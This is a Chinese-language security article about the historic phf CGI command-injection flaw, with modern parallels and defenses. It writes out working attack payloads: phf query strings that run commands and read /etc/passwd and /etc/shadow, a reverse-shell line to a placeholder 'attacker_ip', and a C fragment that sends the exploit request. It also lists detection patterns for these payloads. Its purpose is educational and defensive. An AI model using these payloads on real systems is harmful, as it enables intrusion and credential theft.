早期 UNIX 系統中,CGI 程序 phf 因輸入驗證缺陷成為經典入口,攻擊者可借此以 Web 服務進程身份(甚至 root)執行任意命令,讀取 /etc/passwd、/etc/shadow、/etc/hosts 等敏感文件。雖屬歷史漏洞,但其攻擊思想——輸入驗證缺失 + 權限過度 + 信任鏈利用——在現代 Web 應用、容器逃逸、供應鏈攻擊中反復上演。本文還原攻擊全鏈路,並給出現代防禦對標。
phf (Phone Book Handler) 為 Apache cgi-bin 目錄下的查詢程序,接收參數 Qalias=x 後拼接命令執行:
/usr/local/bin/ph -m alias=x
未過濾 user_input 中的 Shell 元字符(空格、分號、反引號、管道符),導致命令注入。
lynx -dump "https://target/cgi-bin/phf?Qalias=x%20id" → 返回 uid=65534(nobody) 確認漏洞存在及進程身份?Qalias=x%20cat%20/etc/passwd → 獲取用戶列表、Hash (若未影子)?Qalias=x%20cat%20/etc/shadow 直接獲取加密 Hash?Qalias=x%20bash%20-i%20>%20/dev/tcp/attacker_ip/4444%200>%261 或下載植入 SSH 公鑰、Webshell
// 構造惡意 HTTP 請求
sprintf(exploit, "GET /cgi-bin/phf/?Qalias=X%%20%s\n", command);
// 發送並接收響應
write(s, exploit, strlen(exploit));
read(s, buffer, 128);
關鍵技巧:空格編碼為 %20 (或 +),命令分隔符 ; | & ` 均可利用。
| 文件 | 權限 | 內容 | 破解價值 |
|---|---|---|---|
| /etc/passwd | 世界可讀 (644) | 用戶名、UID、GID、家目錄、Shell、早期加密 Hash | 用戶枚舉、弱 Hash 破解 |
| /etc/shadow | root:root 600/640 | 用戶名、加密 Hash ($id$salt$hash)、過期/鎖定信息 | 核心目標,需 root 或特定漏洞讀取 |
| 經典 PHF 場景 | 現代對應場景 | 核心共性 |
|---|---|---|
| CGI 參數直接拼接命令 | Web 應用未參數化執行系統命令 (Python subprocess.shell=True、Java Runtime.exec、Go os/exec) | 輸入未驗證/轉義,代碼與數據未分離 |
| Web 進程以 root 運行 | 容器以 root 運行、Kubernetes 特權容器、systemd 服務 User=root | 最小權限原則違反,容器逃逸/主機入侵影響面最大化 |
| 信任內部網絡/本地文件 | 微服務間相互信任、Sidecar 代理無認證、配置中心明文存儲密鑰 | 零信任架構缺失,橫向移動無阻隔 |
| 無審計/日志記錄 | API 閘關閉訪問日志、容器標準輸出未收集、WAF 未部署/僅告警 | 可見性盲區,攻擊者長期潛伏 |
subprocess.run(['cmd', arg1, arg2]))/etc/passwd、/etc/shadow、/etc/sudoers、/root/.ssh/authorized_keys、Web 目錄核心文件 → Tripwire/AIDE/Wazuh 實時告警/cgi-bin/phf、cat /etc/shadow、bash -i >& /dev/tcp 等經典/變種攻擊載荷PHF 漏洞雖遠,其教訓永存:永不信任輸入、永不超授權、永不盲目信任內部網絡、永不缺失可見性。這四條鐵律,穿越三十年技術更迭,依然是構建安全系統的基石。